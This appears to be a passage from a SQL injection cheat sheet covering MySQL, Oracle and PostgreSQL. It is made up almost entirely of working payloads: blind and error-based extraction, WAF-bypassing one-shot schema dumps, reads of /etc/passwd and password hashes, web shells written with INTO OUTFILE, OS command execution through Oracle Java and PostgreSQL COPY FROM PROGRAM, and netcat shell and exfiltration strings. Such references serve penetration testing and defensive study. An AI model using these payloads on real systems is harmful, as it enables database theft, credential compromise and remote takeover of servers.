                        1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
                        
                    
Using conditional statements
                        ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
                    
MYSQL DIOS - Dump in One Shot
                        (select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#

(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

-- SecurityIdiots
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Profexer
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

-- Dr.Z3r0
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

-- M@dBl00d
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

-- Zen
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+

-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+

-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+

-- sharik
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
                    
MYSQL Current queries
                        union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #

                    
MYSQL Read content of a file
                        Need the filepriv, otherwise you will get the error : ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));

If you are root on the database, you can re-enable the LOAD_FILE using the following query

GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
                    
MYSQL Write a shell
Into outfile method
                        [...] UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ''
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
                    
Into dumpfile method
                        [...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
                    
MYSQL Truncation
                        In MYSQL "admin " and "admin" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

`username` varchar(20) not null
Payload: username = "admin               a"


                    
 

Oracle SQL Injection

Oracle SQL Default Databases
Name Description
SYSTEM Available in all versions
SYSAUX Available in all versions
Oracle SQL Comments
Type Description
-- - SQL comment
Oracle SQL Version
SELECT user FROM dual UNION SELECT * FROM v$version
                    SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
                    SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
                    SELECT version FROM v$instance;
Oracle SQL Hostname
SELECT host_name FROM v$instance; (Privileged)
                    SELECT UTL_INADDR.get_host_name FROM dual;
                    SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
                    SELECT UTL_INADDR.get_host_address FROM dual;
Oracle SQL Database Name
SELECT global_name FROM global_name;
                    SELECT name FROM V$DATABASE;
                    SELECT instance_name FROM V$INSTANCE;
                    SELECT SYS.DATABASE_NAME FROM DUAL;
Oracle SQL Database Credentials
Query Description
SELECT username FROM all_users; Available on all versions
SELECT name, password from sys.user$; Privileged, <= 10g
SELECT name, spare4 from sys.user$; Privileged, <= 11g
Oracle SQL List Databases
SELECT DISTINCT owner FROM all_tables;
Oracle SQL List Columns
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
                    SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
Oracle SQL List Tables
SELECT table_name FROM all_tables;
                    SELECT owner, table_name FROM all_tables;
                    SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
Oracle SQL Error based
Description Query
Invalid HTTP Request SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SN SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
Invalid XPath SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
Invalid XML SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual
Invalid XML SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users
SQL Error SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))
XDBURITYPE getblob XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()
XDBURITYPE getclob XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()
Oracle SQL Blind
Description Query
Version is 12.2 SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
Subselect is enabled SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
Table log_table exists SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
Column message exists in table log_table SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';
First letter of first message is t SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';
Oracle SQL Time based
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 
Oracle SQL Command Execution

Oracle Java Execution
                        List Java privileges:
select * from dba_java_policy
select * from user_java_policy

Grant privileges:
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
                    
                    Execute commands
                    
                    10g R2, 11g R1 and R2: DBMS_JAVA_TEST.FUNCALL()
                    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
                    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
                    
Oracle Java Class
                        /* create Java class */
                        BEGIN
                        EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
                        END;
                        /
                        
                        BEGIN
                        EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
                        END;
                        /
                        
                        /* run OS command */
                        SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

                        
                    
                    or (hex encoded)

/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
                    
 

PostgreSQL injection

PostgreSQL Comments
--
                    /**/  
PostgreSQL chain injection points symbols
; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
                    || #or statement 
                    
                    # usage examples: 
                    /?whatever=1;(select 1 from pg_sleep(5))
                    /?whatever=1||(select 1 from pg_sleep(5))
PostgreSQL Version
SELECT version()
PostgreSQL Current User
SELECT user;
                    SELECT current_user;
                    SELECT session_user;
                    SELECT usename FROM pg_user;
                    SELECT getpgusername();
PostgreSQL List Users
SELECT usename FROM pg_user
PostgreSQL List Password Hashes
SELECT usename, passwd FROM pg_shadow 
PostgreSQL List Database Administrator Accounts
SELECT usename FROM pg_user WHERE usesuper IS TRUE
PostgreSQL List Privileges
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
PostgreSQL Check if Current User is Superuser
SHOW is_superuser; 
                    SELECT current_setting('is_superuser');
                    SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
PostgreSQL Database Name
SELECT current_database()
PostgreSQL List Database
SELECT datname FROM pg_database
PostgreSQL List Tables
SELECT table_name FROM information_schema.tables
PostgreSQL List Columns
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
PostgreSQL Error Based
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
                    ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
                    ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
                    ,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
                    
                    ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
                    ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
                    ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
                    ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
PostgreSQL XML helpers
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
                        
                        The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

                        select database_to_xml(true,true,''); -- dump the current database to XML
                        select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
                    
PostgreSQL Blind
' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
                    ' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO
PostgreSQL Time Based
                    Identify time based
                    select 1 from pg_sleep(5)
                    ;(select 1 from pg_sleep(5))
                    ||(select 1 from pg_sleep(5))
                    
                    Database dump time based
                    select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
                    
                    Table dump time based
                    select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
                    
                    Columns dump time based
                    select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
                    select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
                    AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
                    AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
                    
PostgreSQL File Read
select pg_ls_dir('./');
                    select pg_read_file('PG_VERSION', 0, 200);
                    
                    NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of this commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.

                    CREATE TABLE temp(t TEXT);
                    COPY temp FROM '/etc/passwd';
                    SELECT * FROM temp limit 1 offset 0;
                    SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
                    SELECT lo_get(16420); -- use the OID returned from the above
                    SELECT * from pg_largeobject; -- or just get all the large objects and their data
                
PostgreSQL File Write
CREATE TABLE pentestlab (t TEXT);
                    INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
                    SELECT * FROM pentestlab;
                    COPY pentestlab(t) TO '/tmp/pentestlab';
                
                    Or as one line:

COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
                
PostgreSQL Command execution
                        DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
                        CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
                        COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
                        SELECT * FROM cmd_exec;                 -- [Optional] View the results
                        DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

                        Using libc.so.6
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc  ');
                    
Bypass Filter
                       Using CHR
                       SELECT CHR(65)||CHR(66)||CHR(67);

Using Dollar-signs ( >= version 8 PostgreSQL)
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$